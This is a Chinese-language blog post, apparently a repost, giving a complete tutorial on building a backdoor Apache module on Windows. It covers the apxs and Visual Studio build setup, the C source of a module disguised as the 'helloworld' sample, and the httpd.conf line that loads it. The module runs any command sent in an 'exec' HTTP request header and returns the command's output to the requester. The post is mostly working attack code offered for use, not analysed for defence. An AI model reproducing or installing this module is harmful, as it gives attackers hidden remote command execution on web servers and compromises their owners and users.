原文链接:http://ringk3y.com/2018/06/02/wi ... %E5%BC%80%E5%8F%91/
前言 本来打算windows和linux一起写的,但是发现有大佬发了个linux版的,写得非常好。 借鉴其思路,在windows下开发apache 后门模块 配置环境 准备如下软件 apxs_win32.tar.gz、apache、vs2017、perl 解压apxs,安装perl,执行 - perl Configure.pl --with-apache2=E:\test\apache2.4.23 --with-apache-prog=httpd.exe
复制代码提示需要安装dmake的话就先执行 可以在E:\test\apache2.4.23\bin 目录下看到已经添加了apxs.bat 将 E:\test\apache2.4.23\bin 设置环境变量 修改apache下的build目录中config_vars.mk CC = gcc 的gcc改为cl.exe LD = g++的g++改为link.exe CPP = gcc-E的gcc-E删掉 CFLAGS的 /MD 改为/MT apxs参数说明 - -c 执行编译操作
- -i 安装操作,安装一个或多个动态共享对象到服务器的modules目录
- -a 自动增加一个LoadModule行到httpd.conf文件,以激活此模块,若此行存在则启用之
- -A 与-a类似,但是它增加的LoadModule行前有井号前缀(#)
- -e 需要执行编辑操作,可与-a和-A选项配合使用,与-i操作类似,修改httpd.conf文件,但并不安装此模块
复制代码创建项目 修改helloworld.c为如下 - /*
- ** mod_helloworld.c -- Apache sample helloworld module
- ** [Autogenerated via ``apxs -n helloworld -g'']
- **
- ** To play with this sample module first compile it into a
- ** DSO file and install it into Apache's modules directory
- ** by running:
- **
- ** $ apxs -c -i mod_helloworld.c
- **
- ** Then activate it in Apache's apache2.conf file for instance
- ** for the URL /helloworld in as follows:
- **
- ** # apache2.conf
- ** LoadModule helloworld_module modules/mod_helloworld.so
- ** <Location /helloworld>
- ** SetHandler helloworld
- ** </Location>
- **
- ** Then after restarting Apache via
- **
- ** $ apachectl restart
- **
- ** you immediately can request the URL /helloworld and watch for the
- ** output of this module. This can be achieved for instance via:
- **
- ** $ lynx -mime_header http://localhost/helloworld
- **
- ** The output should be similar to the following one:
- **
- ** HTTP/1.1 200 OK
- ** Date: Tue, 31 Mar 1998 14:42:22 GMT
- ** Server: Apache/1.3.4 (Unix)
- ** Connection: close
- ** Content-Type: text/html
- **
- ** The sample page from mod_helloworld.c
- */
- #include "httpd.h"
- #include "http_config.h"
- #include "http_protocol.h"
- #include "ap_config.h"
- #include <stdio.h>
- #include "Windows.h"
- #pragma warning(disable:4996)
- /* The sample content handler */
- static int helloworld_handler(request_rec *r)
- {
- /*
- if (strcmp(r->handler, "helloworld")) {
- return DECLINED;
- }
- r->content_type = "text/html";
- if (!r->header_only)
- ap_rputs("The sample page from mod_helloworld.c\n", r);
- */
- /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
- const apr_array_header_t *fields;
- int i;
- apr_table_entry_t *e = 0;
- char FLAG = 0;
- /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
- fields = apr_table_elts(r->headers_in);
- e = (apr_table_entry_t *) fields->elts;
- for(i = 0; i < fields->nelts; i++) {
- if(strcmp(e[i].key, "exec") == 0){
- FLAG = 1;
- break;
- }
- }
- if (FLAG){
- char * command = e[i].val;
- FILE* fp = _popen(command,"r");
- char buffer[0x100] = {0};
- int counter = 1;
- while(counter){
- counter = fread(buffer, 1, sizeof(buffer), fp);
- ap_rwrite(buffer, counter, r);
- }
- _pclose(fp);
- return DONE;
-
- }
- return DECLINED;
- }
- static void helloworld_register_hooks(apr_pool_t *p)
- {
- ap_hook_handler(helloworld_handler, NULL, NULL, APR_HOOK_MIDDLE);
- }
- /* Dispatch list for API hooks */
- module AP_MODULE_DECLARE_DATA helloworld_module = {
- STANDARD20_MODULE_STUFF,
- NULL, /* create per-dir config structures */
- NULL, /* merge per-dir config structures */
- NULL, /* create per-server config structures */
- NULL, /* merge per-server config structures */
- NULL, /* table of config file commands */
- helloworld_register_hooks /* register hooks */
- };
复制代码这段代码功能为 如果http请求头中有exec字段,就将该字段的内容当作命令执行,获取结果后打印出来并通知服务器不用往下处理了,如果没有exec字段就告诉服务器当作普通请求来处理 编译项目 运行Visual Studio 命令提示符,路径为 - C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\VC\Auxiliary\Build
复制代码在该位置打开cmd,并运行vcvars64.bat cd 到helloworld路径下,编译项目 - apxs -c mod_helloworld.c libapr-1.lib libaprutil-1.lib libapriconv-1.lib libhttpd.lib
复制代码如果编译失败提示 “该符号在函数 _popen 中被引用” 就在E:\test\apache2.4.23\bin 471行中把相关库添加进去 将编译好后的mod_helloworld.so文件放到E:\test\apache2.4.23\modules目录 在E:\test\apache2.4.23\conf\httpd.conf文件中添加
- LoadModule helloworld_module modules/mod_helloworld.so
复制代码重启apache服务,http头中带上exec,即可执行命令
|